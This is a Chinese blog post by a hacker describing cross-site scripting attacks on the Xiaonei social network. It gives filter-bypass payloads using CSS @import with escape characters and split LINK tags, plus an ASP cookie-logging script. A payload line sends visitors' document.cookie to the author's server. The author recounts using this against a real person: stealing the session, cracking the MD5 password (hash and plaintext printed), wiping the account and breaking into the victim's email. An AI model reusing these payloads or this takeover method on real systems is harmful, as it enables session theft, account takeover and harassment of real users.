文章作者:oldjun[ 脚本安全小组]&[S.U.S]
信息来源:oldjun's blog(www.oldjun.com/blog)
注意:文章已经发表在第11期《黑客手册》上,转载请注明出处,本文是根据5月16日的日志润色补完全后写出的.
校内网是中国大学生第一大社区,拥有广大的大学生用户群,眼见周围同学都在玩校内,自己也不得不上来尝试下新鲜事物,于是我在5月份注册了校内,后来我惊奇的发现很多同学的页面做的极其花哨,个人有点反感的同时我也发现了校内有个功能叫涂鸦板,玩黑这么久,本能的反应就是这能写html的地方一定有跨站的空子可钻。
我有自己的个人网站,而且我不想玩校内,于是我想尝试跨站把访问我校内的同学都转向我的个人站点,于是我决定尝试:
1.先尝试常用的跨站方法,但我也知道不可能成功,果然,javascript、iframe等等都被屏蔽或者替换了, <script>换成XXXXX,javascript:换成了XXXXXXXXGOOD:,甚至onload、onerror都被屏蔽了;
2.再试<img src="java:alert(/xss/)" width=0>,发现不行,它貌似有函数判断src后面的是否为正确地址;
3.尝试XSS包含漏洞:
先新建一个文件:xss.css,利用expression执行一个函数并且onload自动执行,把这个文件放到我空间里;
内容如下:
.testxss{
event:expression(
onload = function()
{
alert('xss');
}
)
接下来就是想办法调用这个文件了,我先尝试了下@import "url",发现@import已经被校内封了!我很郁闷,于是开始想别的方法,baidu找啊找,却始终没有成功!
4.还是#Import样式表调用漏洞:
转了一圈后,没有收获,好郁闷,想想刚刚的方法就差一步了,再边上网搜边思考…突然记想起结束符"\0”可能会绕过校内的过滤,于是我慢慢试,慢慢加,居然成功了!哈,好开心!贴代码:
<style type="text/css">@\i\0m\00p\000o\00000r\000000t url(http://www.oldjun.com/xss.css);</style>
<body class="testxss">
保存下,成功:
再进自己页面看看效果
Ok,perfect!很兴奋的把alert('xss');换成location.href="http://www.oldjun.com";于是大家只要访问我校内,都毫无例外的转到我的个人网站啦!但后来有同学不满,于是我把语句修改了下,跳出提示窗口,问是否访问:
if(confirm('"Welcometohttp://www.oldjun.com !"')){location.href="http://www.oldjun.com";}return false;}
于是自古以来那么伟大的跨站漏洞就这样被我一无不值的利用着…
某日,有玩黑的哥们QQ跟我说很不爽,我问他咋的了,他说在校内里面被人攻击了,有无聊的家伙在他的校内留了一堆脏话,向来爱为兄弟两肋插刀的我怒了,我说兄弟,好歹咱也是玩黑的,骂人又不是咱强项,总不能让他给鄙视了吧,此时我已经想到了我传说已久从未一显身手的跨站了。
说试就试,回去先写代码,好歹是小小程序员,一段简单的asp自然不在话下,一会来雏形就出来啦,保存为getcookie.asp:
<% dim getcookie dim ttime dim str //取得到的cookie getcookie=request("cookie") //取时间,cookie有期限的哦 ttime=now() set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("cookie.txt"),8,True) //生成字符串 str=ttime & "---" & getcookie //写进cookie.txt file.writeline(str) file.close set file=nothing set fs=nothing //再转回去,神不知鬼不觉的 response.write "<script>location.href='http://www.xiaonei.com'</script>" response.end %> |
接着把我空间里的xss.css执行的内容修改成:
location.href="http://www.oldjun.com/getcookie.asp?cookie="+ document.cookie;
好了,执行跨站代码后先转向我空间里的getcookie.asp,并request得到对方的cookie,再由
getcookie.asp把cookie写入空间里的cookie.txt,呵呵,拿到cookie还怕什么啊。
我把跨站代码直接给了兄弟,让他放在他的涂鸦板里,剩下的就由他自己去努力了,跑到那家伙校内页面爱怎么骂爱怎么赞都行,只要把那家伙骗到他的页面来,只要访问一下他就壮烈啦,很快,兄弟M我来了,说那家伙访问了,我赞道:有前途的孩子啊…打开http://www.oldjun.com/cookie.txt一看,果然,多了一行字了:日期加cookie,帅呆了。
上图为若干天后的效果图,又有不少可爱的小朋友壮烈啦…
找下用户名密码:email=g***d@163.com; password=6018ff4f0181f76ea1558c408012612a;把cmd5的密码,拷到在线破解网站试下,密码跑出来啦:13023246,直接进去啦。剩下的事情交给兄弟了,爱删爱改爱骂随他便….于是那可怜的倒霉虫就在线眼睁睁的看着自己的校内一点点的被清空(请勿模仿…)。校内不怎么好玩,不过瘾啊,突然我联系到社会工程学,于是对兄弟说,咱试试他邮箱吧,结果果然一猜即中,邮箱密码也这个…好说,先改了你密码…
做坏事啦,大家原谅,不过个人感觉不厚道的人那是罪有应得啦。当然,这次只是运气好,md5密码一下子破解了,假如遇到破解不了的md5密码呢?那咱们还有办法,那就是最伟大的cookie替换啦,大家可以找个代替cookie的绿色浏览器,或者直接用domain吧,如下图:
直接修改Cookies,把对方的cookie粘贴进去就OK啦,不过记得改下IP,大家在图里看到的:mop_uniq_ckid=58.213.51.91_1190402369_151860291;前面的58.213.51.91是我的IP,修改对方cookie时把他原来的IP换成自己的就OK啦!
昨天在网上看到另外一个跨站的利用方法,测试了下,效果一样的:校内网将<LINK>标签过滤了,但是可以用<LI<LINK>NK>,过滤了一个<LINK>还能留下一个LINK,代码如下:
<li<link/>nk type="text/css" rel="stylesheet" href=" http://www.oldjun.com/xss.css " />
这个简单,校内打补丁也不难,而Import打补丁就麻烦了…
OK了,跨站的简单利用攻略就到这里啦,做安全的永无止境,大家可以测试玩玩,但不要干坏事哦。最后感谢Flyh4t,感谢东南网安联盟(S.U.S)的诸位兄弟,感谢大家在攻与防的道路上一路相伴。另外欢迎大家多踩踩我的小站:www.oldjun.com,over。